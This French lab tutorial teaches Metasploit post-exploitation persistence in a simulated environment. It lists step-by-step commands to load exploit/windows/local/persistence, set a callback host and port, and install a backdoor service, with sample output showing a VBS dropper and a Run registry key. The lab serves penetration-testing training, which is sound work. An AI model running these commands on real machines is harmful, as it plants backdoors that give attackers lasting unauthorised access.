Introduction
Dans ce laboratoire, vous apprendrez le processus fondamental d'établissement de la persistance sur un système cible à l'aide du Metasploit Framework. La persistance est une phase critique dans les tests d'intrusion, permettant à un attaquant de maintenir l'accès à un système compromis même après son redémarrage ou la perte de la connexion initiale. Nous explorerons comment utiliser un module Metasploit spécifique pour créer une porte dérobée (backdoor) qui se reconnecte automatiquement à votre machine. Ce laboratoire se concentre sur les commandes et les concepts dans un environnement contrôlé et simulé.
Obtenir une session Meterpreter privilégiée sur une cible
Dans cette étape, nous allons démarrer le Metasploit Framework et comprendre le contexte de notre tâche. Dans un test d'intrusion réel, l'établissement de la persistance est une activité post-exploitation. Cela signifie que vous auriez déjà obtenu un accès initial au système cible, généralement sous la forme d'une session Meterpreter.
Pour ce laboratoire, nous nous concentrerons sur les commandes et les procédures de mise en place de la persistance. Nous supposerons que vous avez déjà compromis avec succès une cible et qu'une session Meterpreter est en cours d'exécution en arrière-plan.
Tout d'abord, lançons la console Metasploit depuis le terminal. L'option -q permet un démarrage silencieux, supprimant la bannière de démarrage.
msfconsole -q
Votre invite de commande devrait maintenant changer en msf6 >, indiquant que vous êtes à l'intérieur du Metasploit Framework.
Dans un scénario réel avec une session active, vous pourriez la lister avec la commande sessions. Pour interagir avec elle, vous utiliseriez sessions -i <session_id>. Pour revenir à l'invite msf6 > afin d'utiliser les modules de post-exploitation, vous utiliseriez la commande background depuis la session Meterpreter. Nous allons procéder comme si nous avions déjà mis notre session en arrière-plan.
Recherche de modules de post-exploitation pour la persistance
Dans cette étape, nous allons rechercher des modules dans Metasploit qui peuvent nous aider à établir la persistance. Metasploit dispose d'une fonction de recherche puissante qui vous permet de trouver des modules en fonction de mots-clés, de type, de plateforme, et plus encore.
Nous recherchons un module lié à la "persistance". Utilisons la commande search dans la console Metasploit pour trouver les modules pertinents.
search persistence
Cette commande renverra une liste d'exploits, de modules auxiliaires et de post-exploitation qui correspondent au mot-clé. La sortie affiche le nom du module, la date de divulgation, le rang et une brève description.
Votre sortie ressemblera à ceci (certains détails peuvent varier) :
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/dlink_dir_600_http_login 2013-02-01 normal No D-Link DIR-600 'dlink_user' Persistence
1 exploit/linux/local/cron_persistence 2020-01-28 excellent Yes Cron Persistence
2 exploit/osx/local/persistence 2015-05-11 excellent Yes OS X Persistent Launchd Job
3 exploit/windows/local/persistence 2012-08-20 excellent No Windows Persistent Service Installer
4 exploit/windows/local/persistence_service 2014-09-11 excellent Yes Persistent Service Installer
5 post/android/manage/remove_persistence 2018-09-20 normal No Remove persistence from device
6 post/android/manage/set_persistence 2018-09-20 normal No Set persistence on device
7 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
8 post/osx/manage/persistence 2018-09-20 normal No Install persistence on OSX
9 post/windows/manage/persistence_exe 2013-03-06 normal No Windows Manage Persistent EXE Payload
10 post/windows/manage/ssh_inject 2012-11-20 normal No Windows Manage SSH User Key Injection
Comme vous pouvez le constater, il existe plusieurs options. Pour ce laboratoire, nous nous concentrerons sur exploit/windows/local/persistence, un module fiable et couramment utilisé pour créer un service persistant sur les systèmes Windows.
Utiliser le module exploit/windows/local/persistence
Dans cette étape, vous allez sélectionner le module de persistance que nous avons identifié précédemment. La commande use dans Metasploit charge un module spécifique dans le contexte actuel, vous permettant de le configurer et de l'exécuter.
Pour sélectionner le module, vous pouvez soit taper son chemin complet, soit utiliser son numéro à partir des résultats de recherche (par exemple, use 3). L'utilisation du chemin complet est généralement plus fiable car les numéros peuvent changer.
Chargons le module exploit/windows/local/persistence.
use exploit/windows/local/persistence
Après avoir exécuté cette commande, votre invite changera pour refléter le module actuellement chargé : msf6 exploit(windows/local/persistence) >.
Maintenant que le module est chargé, nous pouvons afficher ses options pour voir ce qui doit être configuré. Utilisez la commande show options.
show options
Cela affichera un tableau de tous les paramètres que vous pouvez définir pour ce module, leurs valeurs actuelles et s'ils sont requis.
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay in seconds for persistent payload to connect back
LHOST no The local listener IP address
LPORT 4444 no The local listener port
REX_PORT 0 no The port to connect to on the remote host
SESSION yes The session to run this module on
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
...
Notez que SESSION est une option requise. C'est ici que vous spécifieriez l'ID de votre session Meterpreter compromise.
Configuration des options pour le démarrage automatique et la charge utile
Dans cette étape, nous allons configurer les options nécessaires pour notre module de persistance. D'après la sortie de show options, nous devons définir plusieurs paramètres pour définir le comportement du mécanisme de persistance. La commande set est utilisée pour attribuer des valeurs à ces options.
Tout d'abord, spécifions la session. Dans un scénario réel, vous utiliseriez l'ID de votre session active (par exemple, set SESSION 1). Pour ce laboratoire, nous la définirons sur 1 comme espace réservé.
set SESSION 1
Ensuite, nous devons configurer la charge utile (payload) que le mécanisme de persistance exécutera. Cette charge utile nous rappellera sur notre machine. Nous devons définir LHOST (notre adresse IP) et LPORT (le port sur lequel nous écouterons). Définissons LHOST sur l'adresse de bouclage locale 127.0.0.1 et LPORT sur 4445 (pour éviter les conflits avec d'autres gestionnaires potentiels).
set LHOST 127.0.0.1
set LPORT 4445
L'option STARTUP détermine comment la charge utile démarre sur la machine cible. Les options sont USER (s'exécute lorsque l'utilisateur se connecte), SYSTEM (s'exécute au démarrage du système) ou SERVICE (s'exécute en tant que service système). Choisissons SERVICE pour des privilèges plus élevés et plus de discrétion.
set STARTUP SERVICE
Vous pouvez exécuter à nouveau show options pour vérifier que tous vos paramètres ont été appliqués correctement. Toutes les valeurs que vous venez de définir devraient maintenant être reflétées dans la colonne "Current Setting".
Exécution du module et vérification du mécanisme de persistance
Dans cette dernière étape, nous allons exécuter le module. Avec toutes les options configurées, l'exécution du module tentera d'installer le script de persistance sur le système cible via la session spécifiée. Pour exécuter le module, utilisez simplement la commande run ou exploit.
run
Résultat attendu : Dans notre environnement simulé, cette commande échouera car il n'y a pas de session active avec l'ID 1. Vous verrez un message d'erreur similaire à celui-ci :
[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.
C'est le comportement attendu pour ce laboratoire, car nous ne travaillons pas avec un hôte compromis et actif.
Dans un scénario réel avec une session valide, la sortie serait très différente. Elle montrerait le module téléchargeant un script, modifiant le registre et confirmant que le mécanisme de persistance a été installé avec succès. Une exécution réussie pourrait ressembler à ceci :
[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.
Pour compléter le processus dans un test réel, vous configureriez un nouveau gestionnaire (use exploit/multi/handler) configuré avec les mêmes LHOST et LPORT (127.0.0.1 et 4445). Après le redémarrage de la machine cible, la charge utile persistante s'exécuterait et se connecterait à votre gestionnaire, vous donnant une nouvelle session Meterpreter.
Résumé
Dans ce laboratoire, vous avez appris le processus fondamental d'établissement de la persistance sur un système cible à l'aide du Metasploit Framework. Vous vous êtes entraîné à rechercher des modules pertinents, à sélectionner et configurer le module exploit/windows/local/persistence, et à comprendre son fonctionnement.
Bien que nous ayons simulé l'environnement sans cible réelle, vous avez appris les commandes exactes et le flux de travail nécessaires pour créer une porte dérobée persistante lors d'un test d'intrusion dans le monde réel. Cette compétence est cruciale pour maintenir un accès à long terme lors des évaluations de sécurité.
Félicitations pour avoir terminé le laboratoire !


